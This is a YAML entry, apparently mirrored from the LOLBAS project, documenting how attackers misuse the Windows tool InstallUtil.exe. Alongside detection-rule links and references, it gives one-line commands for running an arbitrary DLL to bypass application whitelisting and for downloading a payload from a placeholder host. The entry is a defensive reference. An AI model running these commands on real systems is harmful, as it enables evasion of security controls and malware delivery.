mirror of
https://github.com/LOLBAS-Project/LOLBAS
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50 lines
3.0 KiB
YAML
50 lines
3.0 KiB
YAML
---
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Name: Installutil.exe
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Description: The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
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Author: Oddvar Moe
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Created: 2018-05-25
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Commands:
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- Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
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Description: Execute the target .NET DLL or EXE.
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Usecase: Use to execute code and bypass application whitelisting
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Category: AWL Bypass
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Privileges: User
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MitreID: T1218.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
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Description: Execute the target .NET DLL or EXE.
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Usecase: Use to execute code and bypass application whitelisting
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Category: Execute
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Privileges: User
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MitreID: T1218.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: InstallUtil.exe https://example.com/payload
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Description: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
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Usecase: Downloads payload from remote server
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
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- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
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- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
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- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
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Resources:
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- Link: https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
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- Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
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- Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
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- Link: https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
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- Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
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- Link: https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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- Person: Nir Chako (Pentera)
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Handle: '@C_h4ck_0'
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